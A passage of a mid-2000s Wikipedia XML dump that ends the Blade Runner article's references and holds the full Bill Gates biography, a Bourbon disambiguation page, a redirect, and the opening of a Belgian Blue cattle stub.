#{{note|ebert1}} Ebert, Roger. (1992) [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/19920911/REVIEWS/209110301/1023 RogerEbert.com – Review of Blade Runner]
#{{note|brbible6}} Sammon, Paul. (1996) Pg. 284
#{{note|brbible3}} Sammon, Paul. (1996)
#{{note|brbible4}} Sammon, Paul. (1996)
#{{note|hicks}} Hicks, Chris. (1992) [http://deseretnews.com/movies/view/0,1257,200,00.html DeseretNews.com – Review of Blade Runner]
#{{note|flynn}} Flynn, John. (2003) [http://www.towson.edu/~flynn/br.htm Towson.edu – Blade Runner Retrospective]
#{{note|ebert}} Ebert, Roger. (1992)
#{{note|rutledge}} Rutledge, Sean M. (2000) [http://www.candidcritic.com/blade_runner.htm CandidCritic.com –   Review of Blade Runner]
#{{note|starwars}} Brinkley, Aaron. Gunn, R. (2002) [http://www.bladezone.com/contents/film/tie-ins/star-wars/ The Blade Runner / Star Wars References] 
#{{note|brfaq}} Mariman, Lukas. (2000) [http://www.brmovie.com/FAQs/BR_FAQ_BR_Influence.htm BR FAQ: Influence]
#{{note|panel}} Jha, Alok. Rogers, S. Rutherford, A. (2004) [http://www.guardian.co.uk/life/feature/story/0,13026,1290561,00.html Guardian.co.uk – Our expert panel votes for the top 10 sci-fi films]
#{{note|brviews}} Netrunner. (2005) [http://www.brmovie.com/BR_Views.htm BRmovie.com – Top 100s and Reviews]
#{{note|brsample}} Cigéhn, Peter. (2004) [http://web.archive.org/web/20041013041105/www.sloth.org/samples-bin/samples/source?summary Sloth.org – The Top 1118 Sample Sources]
#{{note|brbible5}} Sammon, Paul. (1996) Page 298
#{{note|imdb}} IMDB. (2005) [http://www.imdb.com/title/tt0083658/trivia Trivia for Blade Runner]
#{{note|25anniv}} Hunt, Bill. (2006) [http://www.thedigitalbits.com/mytwocentsa114.html My Two Cents, 1/31/06]
#{{note|snatcher}} KoKee. (2001) [http://www.snatcher.co.uk/ Blade Runner &amp; Snatcher]
#{{note|crazy}} Kupperberg, Paul &amp; Camp, Bob. (1982) [http://media.bladezone.com/contents/publications/magazines/crazy/ BladeZone.com – Crazy: Blade Runner Parody]
#{{note|curse}} [http://scribble.com/uwi/br/brfaq/faq-curse.html Curse] at the ''Blade Runner'' FAQ.

== External links ==

{{Wikiquote}}
*{{imdb title|id=0083658|title=Blade Runner}}
*{{filmsite|id=blad||title=Blade Runner}}
*{{rotten-tomatoes|id=blade_runner|title=Blade Runner}}
*{{rotten-tomatoes|id=blade_runner_the_directors_cut|title=Blade Runner: The Director's Cut}}
*[http://scribble.com/uwi/br/ 2019: Off-World] – One of the first ''Blade Runner'' fan sites
*[http://www.bladezone.com/ ''BladeZone''] – The Online Blade Runner Fan Club &amp; Museum
*[http://www.brmovie.com/ ''BRMovie.com''] – [http://groups-beta.google.com/group/alt.fan.blade-runner?lnk=li&amp;hl=en alt.fan.blade-runner] site
**[http://www.brmovie.com/BR_Special_Edition.htm Special Edition News Page]
**[http://www.brmovie.com/Encyclopedia/index.html Encyclopedia Blade Runner]
*[http://www.tyrell-corporation.pp.se/ ''Los Angeles, 2019'']
*[http://www.br-insight.com/ BR-Insight] – Analysis of the film
*[http://news.bbc.co.uk/1/hi/entertainment/film/3600802.stm BBC: Blade Runner tops scientist poll]
*[http://www.dailyscript.com/scripts/Blade-runner_early.html July 24, 1980 draft script]
*[http://www.dailyscript.com/scripts/blade-runner_shooting.html February 23, 1981 shooting script]
*[http://www3.sympatico.ca/n.rieck/links/cool_sci_fi_br.html New Berlin]
*[http://www.movie-monsters.co.uk/bladerunner.html Movie-monsters.co.uk] – The best sci-fi film ever?
*[http://media.bladezone.com/contents/film/tie-ins/ Films that reference Blade Runner]

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  <page>
    <title>Bill Gates</title>
    <id>3747</id>
    <revision>
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      <timestamp>2006-03-04T01:15:25Z</timestamp>
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      <text xml:space="preserve">{{otheruses}}
{{Infobox_Celebrity
| name        = Bill Gates
| image       = Bill Gates 2004 cr.jpg
| caption     = Bill Gates in [[Copenhagen]], [[2004]]
| birth_date  = [[October 28]], [[1955]]
| birth_place = [[Seattle, Washington|Seattle]], [[Washington]]
| death_date  =  
| death_place =  
| occupation  = [[Chairman]] and [[Software architecture|Chief Software Architect]], Microsoft Corporation
| salary      = [[United States dollar|US$]]1 million&lt;!--this is the correct style for money--&gt;&lt;ref&gt;Year 2005 compensation: salary $600,000, bonus $400,000. From Microsoft's [http://www.microsoft.com/msft/SEC/FY05/proxy2005.mspx Proxy Statement]&lt;/ref&gt;
| networth    = [[Image:Green up.png]] $51.0 billion USD (2005)&lt;ref name=networth&gt;Net worth: from [http://www.forbes.com/lists/2005/54/BH69.html Forbes: 400 Richest Americans], dated September 22, 2005.&lt;/ref&gt;
| spouse      = [[Melinda Gates]]
| website     = [http://www.microsoft.com/billgates/ microsoft.com/billgates]
| footnotes   = 
}}

'''William Henry''' &quot;'''Bill'''&quot; '''Gates III''' (born [[October 28]], [[1955]]) is the co-founder, [[chairman]], and [[software architecture|chief software architect]] of [[Microsoft|Microsoft Corporation]], the world's largest [[computer software]] company. According to ''[[Forbes]]'' magazine, Gates is the richest person in the world, with a [[net worth]] of approximately US $51 [[billion]], [[As of 2005|as of September 2005]]&lt;ref name=networth/&gt;. 

Gates is one of the best-known entrepreneurs of the [[personal computer]] revolution and has become an iconic figure of late-20th century [[capitalism]]. While widely respected for his intelligence, foresight, and ambition, his company was found to have used illegal, anti-competitive means to maintain and extend a [[monopoly]].

Since amassing his fortune, Gates has pursued a number of [[philanthropy|philanthropic endeavours]], donating huge amounts of money (about 51% of his total fortune) to various charitable organizations and scientific research programs through the [[Bill &amp; Melinda Gates Foundation]], founded in 2000. He, his wife [[Melinda Gates|Melinda]] and [[U2]]'s lead singer [[Bono]] were collectively named by ''[[Time (magazine)|Time]]'' as the 2005 [[Person of the Year|Persons of the Year]]. That same year he was given the honor of [[Order of the British Empire|Knight Commander of the British Empire]] by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]].

==Early life==
[[Image:Bill gates-mugshot.jpg|right|thumb|250px|Bill Gates' [[mug shot]] from 1977 when he was jailed for speeding.]]
Bill Gates was born in [[Seattle, Washington|Seattle]], [[Washington]] to [[William H. Gates, Sr.]] and teacher Mary Maxwell Gates. His family was wealthy; his father was a prominent lawyer and his maternal grandfather, J. W. Maxwell, was a [[national bank]] vice president.

According to a widely repeated story, Maxwell set up a million (or multi-million) dollar trust fund for Gates the year he was born.[http://pegasus.cc.ucf.edu/~an497637/project1.doc] 
Gates commented on the story in a [[1994]] interview with ''[[Playboy]]'':
:PLAYBOY: Did you have a million-dollar trust fund while you were at Harvard?
:GATES: .&amp;nbsp;.&amp;nbsp;.&amp;nbsp;. My parents are very successful, and I went to the nicest private school in the Seattle area. I was lucky. But I never had any trust funds of any kind, though my dad did pay my tuition at Harvard, which was quite expensive.

A 1992 biography by Stephen Manes and Paul Andrews (ISBN 0385420757) calls the trust fund story one of the &quot;fictions&quot; surrounding Gates's fortune.

Exceptionally intelligent, Gates excelled in elementary school, particularly in [[mathematics]] and the [[sciences]]. Bill Gates went to Lakeside, Seattle's most exclusive  preparatory school where tuition in 1967 was $5,000 (Harvard tuition that year was $1760). Lakeside rented time on a [[Digital Equipment Corporation|DEC]] [[PDP-10]], which Bill was able to use to pursue an interest in computers, a rare opportunity at the time.

Gates was a member of the [[Boy Scouts of America]] and attained the rank of [[Life Scout rank (Boy Scouts of America)|Life Scout]]. While in high school, he and [[Paul Allen]] founded [[Traf-O-Data]], a company which sold traffic flow data systems to state governments. He also helped to create a payroll system in COBOL, for a company in Portland, Oregon.

According to a press inquiry he scored 1590 on his [[SAT]]s&lt;ref&gt;SAT score from [http://theweekmagazine.com/article.aspx?id=803 The Week Magazine]&lt;/ref&gt;, which allowed Gates to enroll in [[Harvard University]] pursuing a [[Bachelors of Science]] in [[Computer Science]] in [[1973]], where he met his future [[business]] partner, [[Steve Ballmer]]. During his second year at Harvard, Gates (along with [[Paul Allen]] and [[Monte Davidoff]]) co-wrote [[Altair BASIC]] for the [[Altair 8800]]. Gates dropped out of Harvard during his third year to pursue a career in [[software development]]. 
On [[December 13]], [[1977]], Gates was briefly jailed in Albuquerque for racing his [[Porsche 911]] in the New Mexico desert. [http://news.bbc.co.uk/1/hi/sci/tech/152803.stm]

== Microsoft==
[[Image:Time magazine 4 16 84.jpg|right|thumb|200px|In 1984, Bill Gates appeared on the cover of ''[[Time (magazine)|TIME]]'' Magazine; he has appeared seven more times.]]
{{main|Microsoft}}
After reading the January 1975 issue of ''[[Popular Science]]'' that demonstrated the [[Altair 8800]], Gates called [[MITS]] (Micro Instrumentation and Telemetry Systems), the creators of the new microcomputer, to inform them that he and others had developed a version of the [[programming language]] [[BASIC programming language|BASIC]] for the platform. This was untrue, as Gates and Allen had never used an Altair previously nor developed any code for it. Within a period of eight weeks they developed an Altair [[emulator]] that ran on a minicomputer, and then the BASIC interpreter. Allen and Gates flew to MITS to unveil the new BASIC system. The demonstration was a success and resulted in a deal with MITS to buy the rights to Allen and Gates's BASIC for the Altair platform. It was at this point that Gates left Harvard along with Allen to found Micro-Soft, which was later renamed the [[Microsoft]] Corporation.

In February 1976, Gates published his often-quoted &quot;[[Open Letter to Hobbyists]]&quot;, that claimed that most users of his software had stolen it and that this would prevent the development of good software, and that no hobbyist could afford to produce, distribute, and maintain high-quality software without payment. This letter was deeply unpopular with many programmers who were doing just that, but was to gain significant support from Gates' business partners and allies and became part of the movement which led to [[closed-source]] becoming the dominant model of software production. 

Despite Microsoft's reliance on closed source, Gates has said that he collected discarded program listings at Harvard and learned programming techniques from them. Some people have accused him of being inconsistent in this regard. It has also been pointed out that Microsoft often produces products that incorporate ideas developed outside Microsoft, such as [[GUI]]s, the BASIC programming language, or [[compressed file system]]s, without paying royalties to the companies that developed them. Some of these matters have gone to court. [[Apple v. Microsoft]] concluded that Microsoft had not infringed Apple's intellectual property (partly because Apple had, apparently, licensed parts of the Macintosh user interface to Microsoft); [[Stac Electronics]] prevailed in its claim against the [[DoubleSpace]] file system. The BASIC question has not been litigated, but the trend in US law, supported by [[Lotus v. Borland]], is that intellectual property applies to program implementations, not interfaces.

When IBM decided to build the hardware for a desktop personal computer in 1980, it needed to find an operating system. Microsoft did not have any operating system at this point. The most popular microcomputer operating system at the time was [[CP/M]] developed by [[Digital Research]] in Monterey.  The CP/M [[BIOS]] allowed software written for the [[Intel 8080]]/[[Zilog Z80]] family of [[microprocessors]] to run on many different models of computer from many different manufacturers. This device-independence feature was essential for the formation of the consumer software industry, as without it software had to be re-written for each different model of computer. Bill Gates referred IBM to [[Gary Kildall]], the founder of [[Digital Research]], but when they did not reach immediate agreement with him they went back to Gates who offered to fill their need himself. He did it by buying a [[CP/M]] clone called [[QDOS]] (&quot;Quick and Dirty Operating System&quot;) from [[Tim Paterson]] of [[Seattle Computer Products]] for $56,000, which Microsoft renamed [[PC-DOS]].

Later, after [[Compaq]] licensed Phoenix Technologies' clone of the IBM [[BIOS]], the market saw a flood of IBM PC clones. Microsoft was quick to use its position to dominate the home computer operating system market. Microsoft began licensing its OS for use on non-IBM [[PC clone]]s, and called that version [[MS-DOS]] (for Microsoft [[Floppy disk|Disk]] [[Operating System]]). By marketing MS-DOS aggressively to manufacturers of IBM-PC clones, Microsoft went from a small player to one of the major software vendors in the home computer industry. Microsoft continued to develop operating systems as well as [[software applications]]. In the early 1980's they created [[Microsoft Windows]] which was similar to Apple Computer's Macintosh OS [[graphical user interface]] (GUI), both based on the human interface work at [[Xerox PARC]]. The first versions of the Windows OS did not sell well as stand-alone applications but started to be shipped pre-installed on many systems.  Because of this, by the late-1980s [[Microsoft Windows]] had begun to make serious headway into the IBM-compatible PC software market. The release of [[Windows 3.0]] in 1990 was a tremendous success, selling around 10 million copies in the first two years and cementing Microsoft's dominance in operating systems. (See ''[[History of Microsoft Windows]]'' for more details)

[[Image:Gates Dreaming.jpg|thumb|350px|right|Gates with [[Steve Jurvetson]] of [[Draper Fisher Jurvetson|DFJ]], Stratton Sclavos of [[Verisign]] and [[Greg Papadopoulos]] of [[Sun Microsystems]], [[October 1]], [[2004]]]]

Microsoft eventually went on to be the largest software company in the world, earning Gates enough money to make him the wealthiest person in the world (according to [[Forbes Magazine]]) for several years. Gates served as the [[CEO]] of the company until 2000 when [[Steve Ballmer]] took the position. Gates continues to serve as a chairman of the board at the company and also as a position he created for himself entitled &quot;Chief Software Architect&quot;. Microsoft has thousands of patents, and Gates has nine patents to his name.  

Since Microsoft's founding and [[as of 2006]], Gates has had primary responsibility for Microsoft's product strategy. He has aggressively broadened the company's range of products, and wherever Microsoft has achieved a dominant position he has vigorously defended it. Many decisions that have led to [[antitrust]] litigation over Microsoft's [[business practices]] have had Gates's approval. In the 1998 ''[[United States v. Microsoft]]'' case, Gates gave deposition testimony that several journalists characterized as evasive.  He argued over the definitions of words such as &quot;compete&quot;, &quot;concerned&quot;, &quot;ask&quot;, and &quot;we.&quot; [http://www.cnn.com/TECH/computing/9811/17/judgelaugh.ms.idg/index.html]  BusinessWeek reported, &quot;early rounds of his deposition show him offering obfuscatory answers and saying 'I don't recall' so many times that even the presiding judge had to chuckle.  Worse, many of the technology chief's denials and pleas of ignorance were directly refuted by prosecutors with snippets of e-mail Gates both sent and received.&quot; [http://www.businessweek.com/1998/48/b3606125.htm]

==Personal life==
Bill Gates married [[Melinda Gates|Melinda French]] of [[Dallas, Texas]] on [[January 1]], [[1994]]. Melinda gave birth to three children, Jennifer Katharine Gates (1996), Rory John Gates (1999) and Phoebe Adele Gates (2002).
He has two younger sisters, one named Kristanne and one named Libby.
[[Bill Gates' house]] is one of the most expensive houses in the world, and is a modern 21st century [[earth sheltering|earth-sheltered home]] in the side of a hill overlooking [[Lake Washington]] in [[Medina, Washington]]. According to [[King County, Washington|King County]] public records, [[as of 2006]], the total assessed value of the property (land and house) is $125 million, and the annual [[property tax]] is just under $1 million. Also among Gates's private acquisitions is the [[Codex Leicester]], a collection of writings by [[Leonardo da Vinci]] which Gates bought for [[USD|$30.8 million]] at an auction in 1994 and a rare [[Gutenberg Bible]].

[[Image:BillGates and Lula1852.jpeg|thumb|right|Gates and [[Brazil]]ian President [[Luiz Inacio Lula da Silva]] at the [[World Economic Forum|WEF]] in [[Davos]], [[January 26]], [[2003]]]]

In 2000, Gates founded the [[Bill &amp; Melinda Gates Foundation]], a charitable organization,  with his wife. The foundation's grants have provided funds for college [[scholarship|scholarships]] for under-represented minorities, [[AIDS]] prevention, [[disease|diseases]] prevalent in [[Third World|third world]] countries, and other causes. In 2000, the Gates Foundation endowed the [[University of Cambridge]] with $210 million for the [[Gates Cambridge Scholarships]].  The Foundation has also pledged over $7 billion to its various causes, including $1 billion to the [[United Negro College Fund]]; and [[as of 2005]], had an estimated endowment of $29.0 billion. He has spent about a third of his lifetime income on charity, although some question his intentions. Journalist [[Greg Palast]] suggests that the Gates Foundation is used to make tactical donations to hide media sensitive humanitarian side effects of treaties, such as the [[Agreement on Trade-Related Aspects of Intellectual Property Rights]] (TRIPS), which Gates has supported. TRIPS requires countries to agree to respect drug and other patents, therefore preventing the local manufacture of existing pharmaceuticals still under patent such as [[AIDS]] drugs in [[Africa]]. 

Gates has received two [[honorary doctorate]]s, from the [[Royal Institute of Technology]], [[Stockholm]], [[Sweden]] in 2002 and [[Waseda University]] in 2005. Gates was also given an [[British honours system#Honorary Awards|honorary KBE]] ([[Knighthood]]) from [[Queen Elizabeth II]] of the [[United Kingdom]] in 2005 [http://news.bbc.co.uk/2/hi/uk_news/3428673.stm], in addition to having [[entomology|entomologists]] name the Bill Gates flower fly, ''[[Bill Gates' flower fly|Eristalis gatesi]]'', in his honor. [http://www.sel.barc.usda.gov/Diptera/syrphid/gates.htm]

Microsoft's CEO [[Steve Ballmer]] has stated that Gates is probably the most &quot;spammed&quot; person in the world, receiving as many as 4,000,000 [[e-mail]]s per day in 2004, most of which were junk. Gates has almost an entire department devoted to filtering out junk emails. [http://news.bbc.co.uk/1/hi/business/4023667.stm] In an article, Gates himself has said that most of this junkmail &quot;offers to help [him] get out of debt or get rich quick&quot;, which &quot;would be funny [given his financial state] if it weren't so irritating&quot;. [http://www.microsoft.com/presspass/ofnote/06-23wsjspam.mspx]

==Influence and wealth==
[[Image:Bill Gates in Poland.jpg|thumb|Gates in [[Poland]], [[2006]]]]
Gates is widely considered one of the world's most influential people. He was listed in the ''[[The Sunday Times (UK)|Sunday Times]]'' power list in 1999, named [[CEO]] of the year by ''[[Chief Executive Officers magazine]]'' in 1994, ranked number one in the &quot;Top 50 Cyber Elite&quot; by ''[[TIME|Time]]'' in 1998, ranked number two in the ''[[Upside]]'' Elite 100 in 1999 and was included in ''[[The Guardian]]'' as one of the &quot;Top 100 influential people in media&quot; in 2001. Gates has been number one on the &quot;[[Forbes 400]]&quot; list through 1993-2005 and number one on ''[[Forbes]]'' list of &quot;[[The World's Richest People]]&quot; in 1996-2005, except for 1997 when the [[Hassanal Bolkiah|Sultan of Brunei]] was included despite Forbes' usual policy of excluding heads of state.  In 2004, he became a [[Board of directors|director]] of [[Berkshire Hathaway]], the investment company headed by [[Warren Buffett]], the second wealthiest person in the world according to Forbes and a longtime friend of Gates.&lt;ref&gt;Ina Fried. [http://news.com.com/Gates+joins+board+of+Buffetts+Berkshire+Hathaway/2100-1014_3-5491312.html Gates joins board of Buffett's Berkshire Hathaway]. CNET News.com. December 14, 2004.&lt;/ref&gt;

Since 2000, Gates's wealth has declined due to a fall in [[Dot-com#Thinning the herd|Microsoft's share price]] and the multi-billion dollar donations he has made to his charitable foundations. According to a 2004 ''[[Forbes]]'' magazine article, Gates gave away over $28.4 billion to charities from 2000 onwards. Additionally, Gates has not engaged in conspicuous consumption beyond his lavish home, with its gardens and art collection.  In contrast, his former associate [[Paul Allen]] has used his wealth in perhaps a more typical manner&amp;mdash;owning sports teams, vintage airplanes, and multiple residences.  Gates also claimed, in 2005, that he has gone to work every day since 1975, which in recent years includes both his role at Microsoft, and his leadership position at the Gates Foundation.

Gates' large well-publicized charitable donations are usually cited as sparking a substantial change in attitudes towards philanthropy among the very rich.  Philanthropy has become the norm for the very rich.  And a survey of philanthropy by ''The Economist'' [25 February 2006] noted, &quot;The media, which used to take little notice of charitable donations, now eagerly rank the super-rich by their munificence....&quot;

==Popular culture==
{{main|List of portrayals and references of Bill Gates}}
Bill Gates has been the subject of numerous parodies in film, television, and video games, often serving as an archetype for fictional megalomaniacal leaders of powerful corporations. Examples include 
''[[The Simpsons]]'' episode &quot;[[Das Bus]]&quot;, ''[[Family Guy]]'' episode &quot;[[Screwed the Pooch]]&quot;, and the film ''[[Antitrust (film)|Antitrust]]''. Alternatively, but less frequently, these references portray a hacker genius. Gates is often characterized as the quintessential example of a super-intelligent &quot;[[nerd]]&quot; with immense power. This has in turn led to [[Popular culture|pop culture]] [[stereotype]]s of Gates as a [[tyrant]] or [[evil genius]], often resorting to ruthless business techniques. Gates has been caricatured several times on [[Saturday Night Live]] by [[Chris Kattan]] and [[Mark McKinney]]. He was also shown on ''[[South Park: Bigger, Longer &amp;amp; Uncut]]'', and was shot in the forehead in the movie. In an episode of [[Pinky and the Brain]], Gates was apparently a robotic body controlled by the Brain's rival Snowball, who used the profits of Microsoft to take over the world. He returned later in the ''[[South Park]]'' episode &quot;[[The Entity (South Park)|The Entity]]&quot;, complete with a bullet hole in his forehead. Several films and television shows have portrayed either the real Bill Gates or a fictionalized version of him, often according to these [[cliché|clichés]], including an episode in the first season of the [[X-Files]] involving a man who lived inside a house that was operated by a computer (which, as it turned out, had a mind of its own).

At [[Live 8]], Gates appeared and made a speech before introducing [[Dido (singer)|Dido]].

== Works ==
Gates has published several essays throughout the years based on his theories, predictions and visions of the computing industry. In these publications he often expresses his personal views on current topics, and discusses Microsoft's plans. His writings have been published by ''[[BusinessWeek]]'', [[Newsweek]], ''[[USA Today]]'' and ''[[Time (magazine)|Time]]''. His publications since 1997 include:

* ''Person of the Year'', Time, [[December 2]], [[2005]]
* ''The New World of Work'', Executive E-mail, [[May 19]], [[2005]]
*''The PC Era Is Just Beginning'', Business Week, [[March 22]], [[2005]]
*''Building Software That Is Interoperable by Design'', Executive E-Mail, [[February 3]], [[2005]]
*''The Enduring Magic of Software'', InformationWeek, October 18, 2004
*''Preserving and Enhancing the Benefits of E-mail: A Progress Report'', Executive E-mail, [[June 28]], [[2004]]
*''Microsoft Progress Report: Security'', Executive E-mail, [[March 31]], [[2004]]
*''Losing Ground in the Innovation Race?'', CNET News.com, [[February 25]], [[2004]]
*''A Spam-Free Future'', The Washington Post, [[November 24]], [[2003]]
*''Why I Hate Spam[http://www.microsoft.com/presspass/ofnote/06-23wsjspam.asp]'', The Wall Street Journal, [[June 23]], [[2003]]
*''Building Trust in Technology'', Global Agenda 2003 (World Economic Forum), [[January 23]], [[2003]]
*''Security in a Connected World'', Executive E-Mail, [[January 23]], [[2003]]
*''The Disappearing Computer'', The World in 2003 (The Economist), December 2002
*''Slowing the Spread of AIDS in India'', The New York Times, [[November 9]], [[2002]]
*''Trustworthy Computing'', Executive E-Mail, [[July 18]], [[2002]]
*''Computing You Can Count on'', April 2002
*''Tech in a Time of Trouble'', The World in 2002 (The Economist), December 2001
*''Moving into the Digital Decade'', [[October 29]], [[2001]]
*''The PC: 20 Years Young'', [[August 12]], [[2001]]
*''Why We’re Building .NET Technology'', [[June 18]], [[2001]]
*''Shaping the Internet Age'', Internet Policy Institute, December 2000
*''Now for an Intelligent Internet'', The World in 2001 (The Economist), November 2000
*''Will Frankenfood Feed the World?'', Time, [[June 19]], [[2000]]
*''Yes, More Trade with China'', Washington Post, [[May 23]], [[2000]]
*''The Case for Microsoft'', Time, [[May 7]], [[2000]]
*''Enter &quot;Generation i&quot;'', Instructor, March 2000
*''Product Distribution Goes Digital'', IEEE Internet Computing, January 2000
*''Beyond Gutenberg'', The World in 2000 (The Economist), November 1999
*''Everyone, Anytime, Anywhere'', Forbes ASAP, [[October 4]], [[1999]]
*''The Second Wave'', IEEE Internet Computing Magazine, [[August 18]], [[1999]]
*''Microprocessors Upgraded the Way We Live'', USA Today, [[June 22]], [[1999]]
*''Why the PC Will Not Die'', Newsweek, [[May 31]], [[1999]]
*''The Wright Brothers: The 100 Most Important People of the Century'', Time, [[March 29]], [[1999]]
*''Compete, Don't Delete'', The Economist, [[June 13]], [[1998]]
*''Who Decides What Innovations Go into Your PC?'', 1997

==See also==
*[[Gates family]]
*[[History of Microsoft Windows]]
*[[Microsoft]]
*[[Pirates of Silicon Valley]] - A movie based on the rise of Apple and Microsoft.
*[[Antitrust (film)|Antitrust]] - This movie's main character appears to be based on Bill Gates.

== References ==
&lt;references/&gt;

== Sources and further reading==
* ''[[Business at the Speed of Thought|Business @ The Speed of Thought]]'' (1999) ISBN 0446675962
* ''[[The Road Ahead]]'' (1996) ISBN 0140260404
* [[James Wallace]] (1993) ''Hard Drive: Bill Gates and the Making of the Microsoft Empire'' Harper Business. ISBN 0887306292
* [[James Wallace]] (1997) ''Overdrive: Bill Gates and the Race to Control Cyberspace''  John Wiley &amp;amp;amp;amp; Sons. ISBN 0471180416
* [[Janet Lowe]] (1998) ''Bill Gates Speaks: Insight from the World's Greatest Entrepreneur'' John Wiley and Sons. ISBN 0471293539
* Jennifer Edstrom, Marlin Eller (1999) ''Barbarians Led by Bill Gates: Microsoft from the Inside'' Henry Holt &amp; Company. ISBN 0805057552
* [[Jeanne M. Lesinski]] (2000) ''Bill Gates'' Lerner Publications Company. ISBN 082259689X
* [[David Bank]] (2001) ''Breaking Windows: How Bill Gates Fumbled the Future of Microsoft'' Free Press. ISBN 0743203151
* (Harold Evans with David Lefer and Gail Buckland) &quot;They Made America: Two Centuries of Innovators from the Steam Engine to the Search Engine&quot;  ISBN 0-316-27766-5

==External links==
{{Sisterlinks|Bill Gates}}
* [http://www.microsoft.com/billgates/bio.asp Biography of Bill Gates at Microsoft.com]
* [http://www.williamhenrygatesiii.com/bio.htm Celebrity Biography]
* [http://www.time.com/time/gates/cover0.html Time Magazine Profile]
* [http://ei.cs.vt.edu/~history/Gates.Mirick.html Bill Gates before Microsoft]
* [http://www.voteview.com/gates.htm Entrepreneurs and American Economic Growth: William H. Gates]
* [http://patft.uspto.gov/netahtml/search-bool.html &quot;Gates-III-William-H&quot; at the U.S. Patent and Trademark Office]
* [http://www.gatesfoundation.org/ Bill &amp;amp; Melinda Gates Foundation]
* [http://www.pbs.org/now/transcript/transcript_gates.html Interview with Bill Moyers]
* [http://news.bbc.co.uk/1/hi/business/3428721.stm BBC: Bill Gates profile]
* [http://labnol.blogspot.com/2005/05/inside-bill-gates-home.html Virtual Tour of Bill Gates Residence]
* [http://abcnews.go.com/WNT/story?id=506354&amp;amp;amp;amp;page=1 Bill Gates speaks with Peter Jennings of ABC]
* [http://news.bbc.co.uk/2/hi/technology/4382112.stm BBC Interview with Bill Gates]
* [http://philip.greenspun.com/WealthClock The Bill Gates wealth clock]
* [http://www.referenceforbusiness.com/biography/F-L/Gates-Bill-1955.html Biography of Bill Gates]
* [http://www.forbes.com/static/bill2005/LIRBH69.html?passListId=10&amp;amp;amp;amp;passYear=2005&amp;amp;amp;amp;passListType=Person&amp;amp;amp;amp;uniqueId=BH69&amp;amp;amp;amp;datatype=Person Forbes: World's Richest People]
&lt;strong&gt;Criticisms of Bill Gates&lt;/strong&gt;&lt;br&gt; 
* [http://www.freedomware.us Freedomware]
* [http://channel9.msdn.com/ShowPost.aspx?PostID=114104 Employee Interviews Gates on Channel9]

{{Microsoft board}}

{{Persondata
|NAME=Gates, William Henry,III 
|ALTERNATIVE NAMES=Gates, Bill
|SHORT DESCRIPTION=Business entrepreneur
|DATE OF BIRTH=[[October 28]], [[1955]]
|PLACE OF BIRTH=[[Seattle, Washington]]
|DATE OF DEATH=
|PLACE OF DEATH=
}}

[[Category:1955 births|Gates, Bill]]
[[Category:American entrepreneurs|Gates, Bill]]
[[Category:American philanthropists|Gates, Bill]]
[[Category:American computer programmers|Gates, Bill]]
[[Category:Bill Gates|Gates, Bill]]
[[Category:Billionaires|Gates, Bill]]
[[Category:College dropouts|Gates, Bill]]
[[Category:Computer pioneers|Gates, Bill]]
[[Category:Forbes 400|Gates, Bill]]
[[Category:Humanitarians]] 
[[Category:Forbes World's Richest People|Gates, Bill]]
[[Category:Knights Commander of the British Empire|Gates, Bill]]
[[Category:Living people|Gates, Bill]]
[[Category:Microsoft employees|Gates, Bill]]
[[Category:Scottish-Americans|Gates, Bill]]
[[Category:Seattleites|Gates, Bill]]
[[Category:Pro-choice celebrities|Gates, Bill]]
[[Category:Software magnates|Gates, Bill]]
[[Category:Technology writers|Gates, Bill]]
[[Category:Time Magazine Person of the Year|Gates, Bill]]

[[ang:Bill Gates]]
[[ar:بيل غيتس]]
[[ast:Bill Gates]]
[[bg:Бил Гейтс]]
[[bs:Bill Gates]]
[[ca:Bill Gates]]
[[cs:Bill Gates]]
[[cy:Bill Gates]]
[[da:Bill Gates]]
[[de:Bill Gates]]
[[eo:Bill GATES]]
[[es:Bill Gates]]
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[[he:ביל גייטס]]
[[hu:Bill Gates]]
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[[ja:ビル・ゲイツ]]
[[jbo:Bill Gates]]
[[ko:빌 게이츠]]
[[ku:Bill Gates]]
[[li:Bill Gates]]
[[lt:Bilas Geitsas]]
[[lv:Bils Geitss]]
[[mk:Бил Гејтс]]
[[ms:Bill Gates]]
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[[nn:Bill Gates]]
[[no:Bill Gates]]
[[pl:Bill Gates]]
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[[ro:Bill Gates]]
[[ru:Гейтс, Уильям Генри III]]
[[simple:Bill Gates]]
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[[sr:Бил Гејтс]]
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[[th:บิลล์ เกตส์]]
[[tl:Bill Gates]]
[[tr:Bill Gates]]
[[uk:Ґейтс Білл]]
[[vi:Bill Gates]]
[[zh:比尔·盖茨]]</text>
    </revision>
  </page>
  <page>
    <title>Bourbon</title>
    <id>3748</id>
    <revision>
      <id>32696504</id>
      <timestamp>2005-12-25T18:33:38Z</timestamp>
      <contributor>
        <ip>86.134.7.203</ip>
      </contributor>
      <text xml:space="preserve">'''Bourbon''' may refer to:
*[[Bourbon whiskey]]
*[[House of Bourbon]]
**The last (family) name of French kings and queens from [[House of Bourbon|Henry IV until Louis XVI]]
*[[Bourbon biscuit]]s
*'''Île Bourbon''' was the name of [[Réunion]] from [[1642]] until the [[French Revolution]]
*A class of old garden [[Rose|roses]] first raised on Île Bourbon and called '''Bourbon roses'''.
*Places in the [[United States|United States of America]]:
**[[Bourbon, Indiana]]
**[[Bourbon, Missouri]]
**[[Bourbon County, Kentucky]]
**[[Bourbon Street]] in the [[French Quarter]] of [[New Orleans]], [[Louisiana]]


* [[Bourbon-l'Archambault]] is a [[commune in France|commune]] of the [[Allier]] ''[[département in France|département]]'' in [[France]].

{{disambig}}

[[de:Bourbon (Begriffsklärung)]]
[[fr:Bourbon]]
[[io:Bourbon]]
[[nl:Bourbon]]
[[sv:Bourbon]]</text>
    </revision>
  </page>
  <page>
    <title>Black Body</title>
    <id>3749</id>
    <revision>
      <id>15902064</id>
      <timestamp>2004-06-15T04:41:03Z</timestamp>
      <contributor>
        <username>Stevenj</username>
        <id>7918</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Black body]]</text>
    </revision>
  </page>
  <page>
    <title>Belgian Blue</title>
    <id>3751</id>
    <revision>
      <id>39722090</id>
      <timestamp>2006-02-15T11:11:28Z</timestamp>
      <contributor>
        <ip>83.148.243.253</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">'''Belgian Blue''' [[cattle]] are also called &quot;monster cows&quot;. They are a heavily-bred breed, producing extraordinary amounts of meat. The problem is that they are often unable to give birth without [[caesarean section]].

Some countries (including [[Sweden]]) do not allow Belgian Blues.

